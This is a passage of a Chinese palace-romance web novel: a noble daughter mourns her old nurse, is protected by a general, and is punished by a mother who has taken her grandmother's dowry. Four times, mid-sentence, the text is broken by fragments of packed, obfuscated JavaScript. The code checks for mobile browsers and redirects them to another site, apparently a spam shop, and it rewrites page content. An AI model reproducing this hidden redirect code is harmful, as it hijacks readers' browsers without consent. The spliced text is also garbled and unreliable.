到了村口,一见到人伴夏就问起严嬷嬷的消息:“这位大婶,你知道村子里有一位姓严的婆婆吗,约莫五六十岁,生了一张圆脸,脖子有颗大痣,很是慈祥,比我还矮些……” 然而一连问了好几个人,都说不知道,伴夏不由有些气馁:“难不成严嬷嬷搬走了?” 闻新绿拧着眉头,思索了好一会道:“我记得严嬷嬷的丈夫姓范,再问问有没有姓范的人家吧。” 这回很快就有了线索,村子西边有座很气派的青瓦砖房,男主人就姓范。 自从十二岁那年严嬷嬷被儿子接走,闻新绿便再没有见过嬷嬷,她难忍心中激动,几乎是含着泪到了门口,开门的是一个约莫四十来岁的妇人:“谁啊?” 闻新绿忍着激动:“请问严嬷嬷是住在这里吗?” “严嬷嬷?”妇人满脸茫然,表示不知道,闻新绿的心就像跌进冰冷的水中般,却不想一旁玩耍的小姑娘奶声奶气道:“太奶奶就姓严呀。” 失落的眼睛顿时亮了起来,闻新绿急忙确认:“你家老夫人是生着一张圆脸,脖子上有颗痣吗?严嬷嬷曾在我家做了许多年的嬷嬷,我是她亲手抚养长大的,直到五年前嬷嬷才归家,我没了她的音讯,我此次来就是想再见她一面,不知是否方便?” 只见妇人惊讶地捂住了嘴:“您、您是……” 闻新绿点点头,又怕她说漏自己身份,急忙摇了摇脑袋,妇人看着她身后的几位士兵,咽下嘴里的话,只热情迎她们进门:“是是是,严嬷嬷就是我婆母,小姐快进来。” 她又倒了热茶:“几位官爷,我这里没什么好茶,你们将就一下,润润口。” 周诚挥挥手:“不碍事。”然后给将军烫了杯子,倒上新茶,嘿嘿笑着:“将军请喝。” 闻新绿在一旁焦急地等待,忍不住问:“不知严嬷嬷现在在哪里呢?” 谁知方才还露着笑的妇人深深叹了一口气:“小姐,您跟我来。” 闻新绿心沉了沉,她紧紧攥着伴夏的手,两人随着妇人到了一处房间,妇人打开门,浓郁的药味顿时扑面而来。 妇人红了眼睛:“小姐,您来晚了,一个月前婆婆不小心摔了一跤,一直到现在都没醒,我们请了许多大夫,可大夫们都说,婆母年纪大了,恐怕这辈子都醒不来,就在睡梦中去了。” 床上的老人骨瘦如柴,面如死灰,任谁都看不出来这是个圆脸爱笑的小老太,闻新绿扑上前,握住她皮包骨头的手,泪如雨下:“严嬷嬷,你怎么不等等我,你也要走吗,严嬷嬷,不要丢下我……” 她嚎啕大哭,一瞬间像回到了八年前,只能无能为力地看着祖母去世,她却什么都做不了。 如果可以,她愿意用自己的命换祖母的命,可是没有如果,为何上天要这般对她,把爱她的人一个个都收走,为何这般残忍。 她多想再回到小时候,祖母在,严嬷嬷在,伴夏在,伴秋也在,大家都好好的,为什么不可以呢,为什么一定要失去呢…… 绝望的哭泣穿透了青砖墙,传到了院子里。 李璟亓怔怔望去,周诚跟着抽了抽鼻子:“这是那个小姐在哭吗,哭得真伤心,哎呀,都要给我整哭了。” - 伤心过后,伴夏哭丧了脸:“完了,严嬷嬷如今人事不省,那老夫人的嫁妆该怎么拿回来?” 闻新绿眼中闪过悲色:“我宁愿不要嫁妆,我只愿嬷嬷能醒来。” 看着小姐麻木的神情,伴夏十分心痛:“小姐,嬷嬷已是高寿,如今算得上寿终正寝,你不要太难过,你还有我呢,还有二表少爷,往后还会有小公子,小小姐,小姐,一切都会好的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164433|196638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 想到表哥,闻新绿振作起来:“伴夏,我想今夜再陪陪嬷嬷,这或许是最后一面了,你让将军他们先回去吧,不用再等,明日我们再雇人回京城。” 伴夏点点头出去了,一刻钟后回来却道:“小姐,将军说他们不急,还是等明日一道回去。”想到周诚方才吓唬她,说这附近说不定不止一帮劫匪,伴夏发了抖,“小姐,我们还是跟着他们一起走吧,好歹有个照应。” 能一起走自然是最好的,只是如此麻烦他们,闻新绿觉得十分不好意思,便取了银钱让严嬷嬷的媳妇蓝姑帮忙做一桌丰盛的菜,再帮士兵们找几间空屋子好生歇息一番。 李璟亓见院子里忙得热火朝天,找到闻新绿:“不必如此。” 人手不够,闻新绿在厨房帮着处理食材,她自小就爱自己琢磨点吃食,不算生疏,她浅笑着说:“这是我的一片心意,将军体恤我们,明日还要送我们回京,就让我为将军做点什么吧。” 她才哭过不久,脸上还残留泪痕,面色也苍白,还要勉强对他笑着,手上动作也不见停,李璟亓真怕她撑不住晕厥过去。 见劝不住,他索性坐了下来,接过她手里的活,开始给鸡鸭拔毛:“你进去吧,我们只能留一晚,还是把这时间用在更重要的人身上,这里有我们。” 她与将军素昧平生,将军却如此体贴,闻新绿眼眶又是一红,低声谢道:“多谢您。” 闻新绿回到严嬷嬷身边,老人静静睡着,她忍不住伸手探了探气息,这才放下心。 她携着嬷嬷的手,就像幼时一般,缓缓道:“嬷嬷,新绿来看您了,新绿五年都没来看您,您心里是不是在埋怨我?新绿不是故意的,嬷嬷,我这次来,是要告诉你个好消息,我就要成亲了,夫君您也认识,就是您夸过知书识礼的二表哥……” 厨房里,伴夏偷偷看着那位将军,方才的一幕更印证她心中所想,越发觉得这将军有问题,无事献殷勤,非奸即盗。 “嘿!”周诚突然在身后出现,伴夏吓了一跳,眼中冒火,“你有病啊!” 周诚看看厨房里的将军,又看看伴夏,狐疑道:“你在干什么,莫不是在偷窥将军?我可告诉你,我家将军身份不一般,瞧不上你这样的小丫头,而且我家将军已有婚约在身,是京城有名的名门贵女。” 有婚约了?伴夏对将军的印象顿时一落千丈,她嘁一声:“有病,谁稀罕你家将军啊,成天板着张脸,谁嫁他谁倒霉,有婚约了不起?我家小姐也有,未来夫婿那叫一个玉树临风,风流倜傥,还特别有才华,与我家小姐那是青梅竹马,恩爱两不疑,你家将军懂什么叫爱吗?” “你!”周诚磨牙,还没等他想好该怎么反击,就见将军拎着一只鸡出来,冷冷看着他:“有空在这吵嘴,没空干活?” 周诚吓得一激灵,连忙接过将军手上的鸡:“有空干活,有空干活,我这就去。” 伴夏也缩起了脖子,想偷偷溜走,却被将军叫住:“你家小姐,已有婚约?” 事关自家小姐,伴夏脖子也不缩了,腿也不软了,高高扬起头颅:“是也,我家小姐和未来姑爷十分相爱,下个月就要成亲了,容不得任何人插进去。” 说完,她闭眼等着将军的怒火,谁知将军只默不作声走了。她莫名有些心虚,只是再一想周诚说的婚约,腰杆子又硬了起来,一个有婚约的男人,还敢肖想她家小姐?她呸! 8. 第八章 晚上宾主尽欢,闻新绿听着外边的笑声,浓郁的悲伤散去一些,她取来热水,为严嬷嬷擦身:“嬷嬷,你瞧外面多热闹,快醒醒吧,你难道不想新绿吗,不想再和新绿说说话吗?” 她仔仔细细将老人身上的污垢擦去,洗了帕子再回头时,却见严嬷嬷正睁着浑浊的眼睛看着她,嘴里喃喃:“小、小姐……” “嬷嬷,”帕子落地,闻新绿不敢置信地握住她抬起的手,“嬷嬷,你真的醒了,你终于醒了,不是我在做梦吧!” 严嬷嬷看着她,眼中尽是满足:“小姐,不要哭,奴要去陪老夫人了,老夫人,一定在地底下等着我呢。” 她脸颊抽搐,用力笑着:“好好过日子,小姐,好好过,不要气馁,不要伤心,小姐!我来了!”她最后用力吼出一声。 五十年前的春天,那是她第一次见到小姐,她逃荒到京城,第一回见到这般好看的贵人。 那时候小姐十四,她刚满十岁,小姐看着她豆丁般的模样,不仅没有嫌弃她,反而吩咐带她的嬷嬷:“给她多吃点饭,这么瘦,看着怪可怜的。” 一晃这么多年,小姐没了,她也到头了,看到小姐疼爱的孙女长得这般好,她终于能放下心,安心去见小姐了。 “嬷嬷!”屋内传来撕心裂肺的哭声,正在外招待士兵的蓝姑慌忙进去,不多时也只闻哭喊。 李璟亓放下手中筷子,表示哀默,士兵们纷纷照做,在沉默中送走了这位老人家。 - 马车轱辘碾过尘土,一行人在城门口停了下来。 李璟亓骑在马上,遥遥看着女子下了马车,他解开身侧的袋子,取下沉甸甸钱袋交给副将:“把这个给她,顺便替我说声节哀。” 周诚颠了颠,钱袋里的银子估摸有好几十两,馋得他差点没流下口水,真是好大的手笔!看着将军骑马而去的背影,周诚头一回生出了“我怎么不是个女的”的想法。 不过也就想想而已,他有自知之明,即便是个女的,靠他那张脸,将军恐怕连瞧都不会多瞧一眼。 只是倒也稀奇,要说这位沈姑娘有多漂亮,周诚是不觉得,倒是那个伴夏一双大眼睛更为灵动…咳咳,周诚连忙敲了敲自己脑袋,走到她们面前。 守了一夜灵,沈姑娘的脸色极差,周诚敢对着她那小丫鬟大呼小叫,对她可不敢,双手将钱袋奉上,轻声细语解释:“这是将军命我给您的,将军还说,望小姐节哀。” 鼓鼓囊囊的钱袋叫闻新绿清明了些,她睁大双眼,连忙推拒:“这怎么行,这一路我们仰仗将军护佑,感激都来不及,怎么能拿将军的东西。” 周诚却不管,直接将银子塞给伴夏那个丫头:“将军的命令我绝不能违背,还请姑娘收下。” 闻新绿还想拒绝,周诚却直接跑了,只留主仆二人愣在原地。 伴夏捧着钱袋,忍不住摸了摸,偷偷说:“小姐,这里少说有五十两呢。” 闻新绿朝她摇摇头:“这银子我们不能收,先放起来吧,待日后有机会再还给他们。” 她心中划过一道暖流,没想到那将军看起来生人勿近,却有一颗金子般的善心。 见伴夏将银子妥帖放好,她拉着伴夏,匆匆往文安侯府赶:“走吧,昨日一夜未归,府里定十分担心,我们赶紧回府吧。” - “郡王回来了!”季管家打开门,见到数年未见的李璟亓差点老泪纵横,不消一刻便将消息传遍了整个郡王府。 一路上下人们纷纷涌来请安,李璟亓无奈:“季叔,不过是回个家,怎么如此兴师动众。” 季叔却板着脸道:“你一去就是三年,好不容易回来,总得叫他们认认脸吧。” “好罢,”李璟亓自然不会和看着自己长大的季叔计较这些,他问起正事,“你差人快马加鞭送来的信是什么意思,什么叫亲事换人了?” 说到这个,季叔脸上愠怒起来:“郡王,您有所不知,原先太妃给您定下的亲事是原正德十年探花、现任荆州府五品同知叶彦的女儿叶诗予,即便我不怎么出门,也知道叶姑娘是个人人都夸的端庄佳妇,若不是如此,我也不会让您应下婚事,可如今太妃却临时反悔,竟给您定下文安侯府家的长女!” “侯府长女,不是比五品同知女儿要好多了吗?”周诚纳闷。 “不是这么算的,”季叔道,“再尊贵,能尊贵了郡王去吗?咱们偌大的郡王府,缺的是一个其身正,不令而行的女主人,而文安侯府家的长女是出了名的貌不惊人、性情怯懦,登不上大雅之堂,怎堪配郡王?” 李璟亓自小在边疆长大,跟着父亲驰骋沙场,别说姑娘了,就连侯府都不一定认得全,他只问:“那姑娘可有恶习?” 季叔一愣:“那……应当是没有吧。” “可有丑事?” 季叔道:“怎么可能呢,若是太妃敢这么做,即便她是您的嫡母,皇上也不会同意的。” “那就她吧。”李璟亓神色无波,对他来说,妻子是谁并不重要,只要安安分分替他守着郡王府就行,也免得皇爷爷催促,勤王府太妃对空缺的郡王妃之位虎视眈眈。 只是应下后,他不免想起方才在城门口相别,那个总是笑着的姑娘,那些劫后余生的笑、感谢的笑、哀伤的笑一一划过他的眼前,他一瞬怔然,接着若无其事般望向院外。 她已有婚约,听她的丫鬟说,这是一段天赐良缘。她堪配良人,而他,注定是要死在战场上的。 李璟亓按了按空荡荡的胸口,再次重复:“就她吧。” 季伯关切地看向他:“郡王怎么了,可有受伤?”可人不回,反倒快步远去,季叔不甘心,“郡王,真的不再考虑考虑吗,这位小姐实在难为大妇啊。” 郡王就这么走了,季叔回头,与周诚两厢对视,真是有苦说不出,大叹一声:“唉……” 周诚做起了逃跑的架势,走之前不忘安慰一句:“将军喜欢就好,季叔您就别瞎操心了。” 季叔怨念:“你懂什么,我能不操心吗,我不操心还有谁操心!”未来主母不行,不还得他这把老骨头上! - 文安侯府,闻新绿叩开侧门,守门的嬷嬷见了她吓一跳,连忙把她拉进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164434|196638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来:“小姐,您什么时候出去的,怎么这时候回来了?” 昨日她走得太早,估摸没几个人看见,闻新绿心下一松,笑笑:“出去办了点事,嬷嬷不要声张。” 她已精疲力尽,只想回到栖云阁躺下,先睡一觉再处理其他事,却在栖云阁见到了意料之外的人:“江嬷嬷?” 江嬷嬷见到她,眼珠子顿时一亮,咬牙道:“小姐啊小姐,你真是害死我们了,您怎能不同夫人说一声就出门,你知道我们有多着急吗!” 闻新绿不想将事情闹大,便道:“我同父亲说过此事,以后再也不会了。” 江嬷嬷却说:“小姐啊小姐,你可是一夜未归,这是多么严重的事,夫人也跟着一夜未睡,您现在赶紧和我去澄心堂,夫人等着要见你。” 闻新绿只好先去澄心堂,她解释:“我原以为当天就能回来,可不曾想路上遇到了些事,不是有意的。” 说话间就到了澄心堂,守在门外的丫鬟掀开帘子,向里头通报:“小姐来了。” 还不等闻新绿向母亲请罪,却见她怒气冲冲走来举起手,接着“啪”的一声,闻新绿被打偏了头。 “你这个不省心的祸害,还有不到一个月就要成亲了,你却私自出门,还一夜未归,此事若是被旁人知晓,你可知道是何等后果,这门亲事你以为郡、伯府还会认吗!” 伴夏倒吸一口冷气,看着小姐瞬间红成一片的脸颊,替小姐委屈:“夫人,你怎么能动手打小姐呢,我们好不容易才能回府,您不知道我们在路上遇到了什么,差一点点,我们险些就回不来了!” “什么?”沈岚脸色剧变,她挥退所有下人,压抑着怒火,“你给我好好讲,到底发生了什么事。” 伴夏将路上遭遇劫匪的事说了,沈岚看向女儿衣襟,急问道:“你的贞洁可还在?” 伴夏只觉得一股怒气冲天,夫人不问小姐好不好,不问怕不怕,竟关心的是这种东西!她咬牙替小姐答:“夫人放心,劫匪没追上我们,正巧遇到了一队官兵,劫匪被一位将军射杀了,后来也是将军将我们平安送了回来。” “放心,你叫我怎么放心,”沈岚松了一口气,随即是更盛的怒火,指着闻新绿鼻子骂,“你个蠢货,要不是你异想天开,竟敢私自离府去那么偏僻的地方,又怎会遇上劫匪,君子不立于危墙之下,你差点害了自己知不知道,若是出了事,你如何担得起,也就是瞎猫撞上死耗子,遇到了官兵,要不然你若是被玷污,等着你的就只有一条白绫!” 闻新绿本就惊魂未定,如今更是害怕:“我错了,母亲,我再也不敢了……” “你当然错,大错特错!”沈岚气得胸膛起伏,她忽然想起什么,问,“三五三六呢?” 闻新绿神色黯淡下来,想到这个伴夏就气,她们后来才知道,那条荒无人烟的小路根本就不是必经之路,忍不住开口:“他们两个遭了报应,被劫匪杀了,若不是……” 她还没来得及将祸事源头和盘托出,就见夫人冷冷看向自家小姐:“两条活生生的人命,就因为你的任性断送,闻新绿,你真是个祸害。” 9. 第九章 有人掀帘进来,沈岚冷着脸看去,刚想发火,见到是叶诗予却一愣:“你怎么来了?” 叶诗予给姨母斟了杯茶道:“姨母消消气,虽说下人们躲得远,但您这般吼,她们难免也会听到几句,我便让她们都散到院子外去了。” 沈岚只觉得如沐春风:“还是你懂事。” 叶诗予笑笑,她看着表妹半边肿胀的脸,还有那接连不断落下的泪珠,若有所思。 前世似乎也有这么一遭,她隐约有听姨母提起劫匪,不过不同的是,那回似乎是沈斫年陪着一块去的,所以有惊无险,两人第二日一块回来,姨母似乎没有生这么大的气。 表妹倒是幸运,今生没有沈斫年了,她竟也能全身而退。 “姨母,您就别生气了,表妹平安回来就好,若是闹大了引得下人议论纷纷反倒不好,”她又劝闻新绿,“表妹你这回确实做错了,还不赶紧跟姨母认个错,下回可不能再这般任性了。” 闻新绿却道:“我没有任性,”她看着母亲,何其悲哀,“我只是想见严嬷嬷一面,难道这也有错吗?” “你看她,”沈岚忍不住同叶诗予抱怨,讥讽道,“你表妹已经被她祖母带坏根子了,不过是一个下人而已,也值得这般对待,新绿,你母亲我都没享到你的福,倒让一个下人享去了,呵,你真是好样的。” “母亲……”闻新绿不敢置信看向沈岚,不明白母亲怎能说出这番话,她觉得荒唐,祖母这么好的人,竟被抹黑至此,闻新绿攥紧了拳头,终于问出那个问题,“既然你如此看不上祖母,为何还要私扣祖母嫁妆,占为己有,母亲,倒是谁是坏了根子,谁没享到福!” 如同晴天霹雳般,沈岚惊愕看向这个女儿:“你怎么会知道?” 意识到自己说了算什么,沈岚惊慌起身:“快快快,快把小姐带回栖云阁,没有我的允许不许她出来,也不许任何人进去。”这可不能让侯爷知道,若是让他知道老夫人的嫁妆被她给了叶诗予,那就完了。 “原来是真的……”闻新绿泪流不止,还带着大人能够良心发现,将东西还给她的愿望天真地问,“母亲,你为何要这般对我,那是祖母唯一留下的东西了,你能还给我吗?” 沈岚却气道:“你气量怎么这么小,我不是贴给你两箱嫁妆了吗,你祖母留下的都是些旧东西,你又戴不了,诗予喜欢古物,旧的两箱给她就给她了,给你那两箱还都是新打的呢,瞎嚷嚷什么,好像我欺负了你似的,快把小姐拉下去。” 闻新绿觉得荒谬。 严嬷嬷走了,母亲本该是她最亲的人,对母亲,她天然地期盼着。然而她如今只能看见母亲的背影,她似乎在安慰表姐,带着她从未见过的温柔笑意。 真好啊,真是一对恰如其分的母女,而她只是多出来的那个,没人想要的那个。 她什么都没有了。 闻新绿彻底陷入黑暗,失去意识前,似乎听到伴夏焦急的呼唤,她多想说,不要喊了,放心吧,她只是想睡一会,等她醒来,或许表哥就会来接她了,或许她就会有新的家了。 她会听嬷嬷的话,好好活着的。 “小姐!” - “我这个表妹当真是既天真,又愚蠢呢。”叶诗予扶着丫鬟梅枝的手迈出澄心堂,嗤笑一声,枉她重生归来将此人当做对手,可如今看来却是高看她了,不过哄劝姨母几句便能将大事化小、小事化了,偏偏这个表妹就是不肯低头,最后落得被禁足的地步。 她问丫鬟:“你说她往后会过的比我好吗?” “怎么可能呢?”梅枝惊呼,“小姐,您可是京城姝丽之首,堪为天下闺秀典范,新绿小姐怎能与您相比呢,即便占了侯府嫡女的名头,也是扶不上墙的烂泥,而小姐您以后定当前程似锦,终登云端。” “好一张巧嘴,”叶诗予摘下手上的金镯,笑看她一眼,“说得不错,赏你了。” 梅枝连连谢赏,喜得眼睛都不见了:“得小姐如此佳妇,想必未来姑爷二表少爷定能蟾宫折桂,早添官身,至于那平渭郡王,传言暴虐嗜杀、刚愎自用,根本不是佳婿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164435|196638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,咱们圣上本就是大败先圣孙才得以登基,又怎么会属意一个郡王做继任者呢,什么有登基可能,依奴婢看就是传言罢了。” 叶诗予惊讶地看了看梅枝,没成想文安侯府卧虎藏龙,给她配的一个小小丫鬟都有这般眼力,竟将未来走势猜得分毫不差,此话真是说到她心坎里了,当即问道:“你可愿当我的陪嫁丫鬟,随我去长兴伯府。” 梅枝没想到自己竟还有这番造化,从前表小姐可是更看重自个府里带来的锦书、织画两个丫鬟,早知道表小姐吃这一套,她就该把嘴说烂才是,要知道栖凤阁里有多少人盼着跟表小姐走,她竟是其中一个,梅枝兴奋地涨红了脸:“奴婢愿追随小姐,为小姐赴汤蹈火,在所不辞!” 叶诗予满意地点点头,正往栖凤阁走,却见锦书小跑着过来:“小姐,我总算找到您了,方才沈表少爷身边的小厮来了,送来好些东西,还有一封信呢,奴婢都放回栖凤阁了。” “这么快?”叶诗予挑了挑眉,她就说,怎么会有人选择闻新绿那个丫头,而不是她呢。 她对锦书笑笑:“做的好。”说罢离去的脚步快了些,她倒是很想看看,沈斫年在信里写了些什么东西,是道歉,还是陈情呢? 待人三人消失后,一旁的树影动了动,接着从树后钻出来两道身影,为首之人称得上花容月貌,便是文安侯府的二小姐闻若涵。 她眼中满是藏不住的讶异:“什么意思,菱儿你方才听见了吗,叶诗予要嫁给二表哥了,二表哥不是和闻新绿定了亲吗,我都迷糊了,是我听错了嘛?” 菱儿肯定小姐:“奴婢也听得一清二楚,绝对没错,虽不知表小姐为何突然要嫁二表少爷,但方才听来,表小姐似乎已与平渭郡王完全决裂,与二表少爷的婚事已然板上钉钉。” 闻若涵眼眸动了动:“这么大的事,我们竟一点都不知,叶诗予的娘,还有侯夫人都同意?那可是平渭郡王!” “不行,”闻若涵按捺不住好奇之心,“快随我去寻父亲,我倒要问问,这究竟是怎么回事。” 10. 第十章 “母亲!”闻新绿惊醒,她四处看看,只有眼睛红红的伴夏守在床边,她轻声问,“嫁妆送来没有?” 伴夏摇摇头,语气中有怨气:“别说是嫁妆,夫人都没来栖云阁瞧您一眼,夫人真是太过分,明明您才是她亲生女儿,为何这般狠心……” 见小姐难受似的皱眉,她连忙取了一碗粥来:“大夫来看过,说您身体虚弱,又一时激动才会突然晕厥,从昨天到现在您都没吃过什么东西,又守了一夜,能不虚弱吗,小姐赶紧将粥喝了,喝了就好了。” 闻新绿用了小半碗,才有了些力气便撑起身来,她笑着对伴夏道:“我没事,你也别生气了,早该猜到的,也不是一天两天了。” 她又望向窗外:“我睡了多久?” “还不到一个时辰,小姐再睡会吧。” 闻新绿却摇摇头:“去将钱匣子取来。” 伴夏将一个上锁的木盒抱了过来,打开后瞳孔剧震:“怎么就剩这点了?!” 小姐每个月有二两银子月例,三人存了好些年才存到二百两银子,是做压箱底的,可如今木盒中竟只有几锭碎银了,加起来也就几十两。 闻新绿却很镇定:“除去伴秋的嫁妆,还有昨日给蓝姑的三十两,差不多就是这个数,你帮我数六十两出来,叫人送去给三五三六的家里人,无论如何他们都是因我才遭难。” 伴夏的手迟迟伸不下去:“可是、可是小姐这是您唯一剩的银子了,三五三六的家里人自有侯爷会照料,若是将这些都给出去,咱们可就什么都没有了。” 闻新绿道:“左右还有二十日我就要出嫁了,在栖云阁也用不了什么钱,把钱给该给的人吧。” 虽然心痛,伴夏却也只能听小姐的,只是数了数,她瘪嘴道:“一共才五十七两,还不到六十两呢,小姐,那就一家给二十八两吧,咱们还能剩下一两,总得备用着吧,万一有个什么状况……” 闻新绿沉默了一会,忽然想起昨日那位将军留下的钱袋,她脸色红了红,不自然道:“昨日将军的钱袋可在,如今也是不得已,若是在,便取三两银子补上吧,就当是我们借的,等日后再还给他。” 伴夏眼睛一亮:“对哦,我都差点忘了这事。”她转身取来将军给的钱袋子,打开吓了一大跳:“小、小姐,这里面是金子!” “什么?”闻新绿睁大眼睛看去,只见钱袋子里满满当当装着好几锭金子,根本不是所想的银子,五十两银子和五十两金子的区别可太大了,如今一两金子可换十两银子,也就是说这相当于五百两银子,闻新绿从没见过这么多钱。 她心脏砰砰直跳,第一个反应:这位将军不会是贪污了吧? 第二个反应:这应当是假的吧,怎么可能是真的呢? 然而经过伴夏牙啃,确认了这是实打实的金子,闻新绿只觉得拿着一袋子烫手山芋,可惜现在被禁足了,要不然她得连夜把金子还回去。 “这…怎么办?”伴夏也没了招,这么一大笔银子她可不敢乱动。 闻新绿努力动着脑袋,昨日的将军威风凛凛,年纪轻轻就已身居高位,还是从甘肃回来的,说不定就是未来表姐夫平渭郡王的手下,应该不至于贪污自绝后路吧? 待她能出门后,定要赶紧寻到这位将军把金子还回去,只是现在……闻新绿纠结许久,终于从钱袋子里找出一颗比指甲盖大不了多少的金子:“事急从权,咱们先借用一些,待拿到嫁妆后就补上。剩下这些赶紧收起来藏好,可不能叫旁人看见,还有我这屋子往后不许别人进。” 一是说不清来路,二是她的嫁妆才两千两银子,这一袋就抵四分之一嫁妆,若是丢了,闻新绿光是想想心就在滴血。 于是两人在房间各处寻起了适合藏金子的位置,闻新绿顾不得虚弱,爬起身就找,桌子后、箱子里、墙角,还有床下,她甚至钻进去瞧了瞧,终于让她找到了一处藏钱的好地方。 “就这里吧。”她指着床底背面有个延伸出来的边条,把钱袋子放进去正好是死角,即便有人查看床底也不会发现。 主仆两人将巨款藏得严严实实才放下心,如释重负般松了一口气,接着相视而笑。 闻新绿运动了一番,肚子咕噜噜叫起来,她红着脸捂肚子:“饿了。” 伴夏笑眯眯的:“饿了好,小姐等着,我这就去叫人送饭过来。” 闻新绿嘱咐:“叫她们多送点过来,咱们一起吃,伴夏你跟着我奔波了两日,定也累了,等用完膳咱们再休息会,有什么事都等歇息好再说。” 说着她有些扭捏起来:“待歇完,还有一件事要做呢,我的嫁衣还没有绣好,咱们得赶快绣好嫁衣……” “知道知道,绣好嫁衣小姐就等着出嫁了~”伴夏挤眉弄眼,闻新绿脸上起了薄红。 伴夏出门,屋子里只剩她一人,母亲厌烦的神色忽而浮现面前,闻新绿心中蓦地一痛,随即深呼吸想要将那些情绪压下。 被母亲误解、斥责,她怎能不难受,只是这般不问即判的案子太多了,明明是表姐打碎的花瓶,却记到了她头上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164436|196638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明是旁人先讥讽,最后是她受罚,一年又一年,闻新绿早就不是那个追着要一个公道的小姑娘,她学会了放过别人,也放过自己。 春景熙熙,窗外那面墙已被爬山藤新吐的嫩绿占领,诉说着勃勃生机,闻新绿相信她也一样,嫩绿的新芽会涤荡心中所有的阴霾。 - “咦,怎么就一箱银子?” 栖凤阁,侍女们将沈斫年送来的东西摆到小姐面前,除了一封信外,就只有一个朴素的木盒,打开竟是码得整整齐齐的银锭子,约莫有百两。 锦书嫌弃道:“表少爷未免也太寒酸了些,要知道郡王府命人送来的可是洗金楼花样最新的金簪呢,全京城一共就十支,一支就价值数百两。” 梅枝觑着小姐神色道:“也不能这么说,送银子恰恰说明表少爷将身家都托付给了小姐,是个一心只读圣贤书的正人君子,不像其他酸腐书生一般还要出入花楼呢,表少爷一看就不了解女人家的东西,没有那些弯弯绕绕的花花肠子,往后想来也是不会拈花惹草的。” 叶诗予满意地看了梅枝一眼。 前世的沈斫年确实不是那等拈花惹草之人,即便闻新绿不会生,他也从未纳过妾。 谁都不想要一个花心的丈夫,这般想着,叶诗予对沈斫年又满意了两分,随意摆了摆手:“银子你们一人拿一锭,其余的放回库中吧。” “是。”几个丫鬟喜笑颜开,捧着银子下去了,谁知在出门时,锦书用肩膀狠狠撞了一下梅枝,见人看过来不仅没道歉反而冷哼一声:“马屁精。” 梅枝露出一丝愤愤,明明是你自己没有本事哄小姐开心,竟还恬不知耻来说她,马屁精怎么了,瞧着吧,她就要马屁精给她们看,把她们都狠狠压在身下,做小姐身边的第一人。 叶诗予对小丫鬟们之间的斗争并不知晓,她摩挲着那封信,嘴角漾起笑意,说来金银首饰她收到过不少,这般诉情信还未有过。 她撕开封条,取出信纸,兴致勃勃便要品鉴,谁知八个大字印入眼帘——新绿表妹,见字如晤,似在嘲讽她的自作多情。 “哐当——”屋里传来瓷器碎裂的声音,丫鬟们连忙挤到门前询问:“小姐怎么了,可要我们进来?” 叶诗予狠狠捏着信,看着字字含情的“晓看天色暮看云,行也思卿,坐也思卿”,恨不得咬碎一口银牙。 “不许进来,滚,都给我滚!”叶诗予又挥落几只花瓶,她将信撕成碎片,看着满天散落的碎纸,怒极反笑,“沈斫年,你真是好样的。” 11. 第十一章 闻若涵这一等就等到了傍晚,才见爹哼着小曲回府。 文安侯见到二女儿倒是惊喜,含笑道:“呦,今日倒有空来看你爹爹啦,真是太阳从西边升起来了。” “爹~”闻若涵跺脚,“女儿哪日不想您,倒是爹,这些日子在忙什么,好几日没去画秋阁了。” 文安侯掩饰般地咳了两声,在外头又认识了新人这种事,怎好同女儿说。 他转移话题:“说罢,来寻爹有什么事,可是又看上了什么衣裳首饰,还是胭脂水粉?” 闻若涵先给文安侯递了杯茶,见爹心情颇好的模样,才不紧不慢道:“倒不是这些,只是今日我无意间得知了一个消息,诗予表姐竟要嫁给斫年表哥了,爹,这是真的假的?” 文安侯一口茶差点没喷出来,他挥退一旁的小厮丫鬟,低声问:“你这是听谁说的?” 闻若涵觑着爹的脸色,那份震惊做不得假,她不免疑惑,此事竟连爹都不知道吗,越发扑朔迷离了。 